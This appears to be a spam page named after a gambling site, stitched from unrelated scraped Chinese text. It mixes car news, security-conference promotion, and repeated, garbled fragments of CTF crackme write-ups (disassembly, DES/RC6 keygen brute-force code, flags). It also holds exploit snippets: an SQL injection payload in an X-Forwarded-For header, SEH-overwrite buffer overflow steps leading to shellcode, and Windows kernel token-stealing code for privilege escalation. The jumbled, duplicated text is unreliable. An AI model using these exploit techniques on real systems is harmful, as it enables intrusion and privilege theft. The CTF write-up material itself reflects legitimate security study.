bbin电子游戏

一座新的汽车城正在桂东崛起。一些未文档化的结构在不同Windows版本间有所变化。意见和结论在这次最新的攻击中,BadRabbit和NotPetya之间的重叠可能牵涉到同一始作俑者。do{v11=(void*)(sn_3+v10);j_j_memcpy(dest,(constvoid*)(sn_3+v10),8u);v15=0;v16=0;des_encrypt((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);对sn进行des加密update_key2((int)key2,(int)v15);rc6_encrypt(sn_3,0x20u,(char*)key2,16);v12=0;while(*(_BYTE*)(sn_3+v12)==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}上面是更新rc6的key(替换key后4字节为des加密结果+32处4字节),并且进行rc6加密。"鉴于鱼叉攻击的增加,员工的个人email需要加以保护。" 2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。原标题:贯彻落实绿色发展理念切实保护绿水青山发挥西江黄金水道优势带动各项事业发展  11月8日,市委书记、我市江河湖库总河长李新元到郁江巡河并调研两岸各项建设。如果有疑问,请亲自访问软件供应商的网站,并在那里检查更新。,2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。  2016年1月,长春华奥汽车制造有限公司从长春迁址更名到贵港。,另一方面,通过受到攻击的网站对受害者进行妥协的做法可能并不像表面上看起来那么重要,因NotPetya的参与者之前已经表现出能够攻陷设备并使用它们来进行恶意软件的能力。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A本次盛会,我们将以本地文化特色为依托,与各位嘉宾、社会团体、旅游和体育产业相关专家、学者、企业家,以及来自各地的房车露营爱好者共襄盛会,本着人与自然和谐相处的城市精神,为大众提供开放的体验空间,为行业提供权威的展示平台,倡导自然、自由、健康、绿色的旅居度假方式,共同见证这一次体育旅游文化经贸的跨界融合盛典!最后,祝第四届中国汽车(房车)露营大会圆满成功!:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A

  • 博客访问: 430796
  • 博文数量: 792
  • 用 户 组: 普通用户
  • 注册时间:2018-8-18 0:44:5
  • 认证徽章:
个人简介

关键是后面发生的,那可真叫:草原之夜故事多。新变动为比赛带来了新气象,当年参加Mint比赛的队伍达到323个,到了2017年,参赛队伍更是达到380个,庞大的规模使Mint400当之无愧的成为世界上最大的越野赛之一。声明:越野e族版权所有(编译),转载请注明出处。,除此以外,还有能自行设定的超转换挡指示灯,在一般转速时指针是白色的;当接近设定转速500转内则会变成粉红色;一旦达到设定值,指针会变成红色,指示灯也会加快闪烁频率,提醒你该换档了。中等重叠面碰撞测试的数据则取自于沃尔沃的数据,根据数据显示,在中等重叠面碰撞过程中,新一代沃尔沃XC60的车内乘员并没有受到严重伤害的风险,假人的位置得到很好的限制并且气囊也正确展开,整个碰撞过程中假人未与外界硬物接触。。”福特新蒙迪欧插电混动版沿用了新蒙迪欧动感时尚的外观设计,以及豪华舒适的内饰风格,以智能化、人性化的贴心设计满足都市新锐彰显高品位的拥车需求。有意思的是,之前KTM的车型的排气管从发动机出来后会从发动机底部通往后方,而这辆路试车辆的发动机排气管则是从发动机的一侧绕行通往后面。。

文章分类

全部博文(284)

文章存档

2015年(424)

2014年(913)

2013年(363)

2012年(521)

订阅
www.v9196.com 2018-8-18 0:44:5

分类: 中国网江苏

相比竞品,APA自动泊车系统的领先之处还在于全面支持垂直、侧向各种车位,并且提供车辆自动驶出功能。先进的技术和扎实的工艺,让瑞迈有了不同凡响的品质。,秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。,:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。 V8现在配备了并行Scavenger,通过大量基准测试我们发现它能够减少主线程垃圾收集总时间的20%-50%。。(周金有)+1。通用的内核函数诸如PsGetCurrentProcess()和KeGetCurrentThread()会利用FS/GS相对访问来从KPCR中获取信息。在这种情形下,子结构用来存储该页的信息。,运行时几乎所有的JS开发者在浏览器中都使用过API(例如“setTimeout”)。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。,漏洞证明在留言处,设置XFF为X-Forwarded-For:1,content),(,0,2,1513505345,version(),content21)#,如下所示:访问guest_成功地显示出数据库的版本号。但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017并行Scavenger通过在小堆或是几乎为空的堆上提供优化的Cheney算法来弥补这一性能差距,同时仍然提供高吞吐量,以防堆积物变大。,为了使得迁移配置的过程变得更加容易,有一个PowerShell模块可以用来进行转换。 ,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。 因此,对来说我们可以像这样预设置gConfig:VersionSpecificConfiggConfig={0x2e0,0x348};好了,现在我们偷取Token://getSystemEPROCESSULONG64SystemEPROCESS=PsInitialSystemProcess();ULONG64CurrentEPROCESS=PsGetCurrentProcess();ULONG64SystemToken=0;//readtokenfromsystemprocessReadVirtual(SystemEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//writetokentocurrentprocessWriteVirtual(CurrentEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//reSystem:)所用工具当我搜索GDI数据结构时我发现我缺少一个合适的工具来感应它们,特别是当我需要去在所有地方喷射GDI对象的时候。运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E0040230075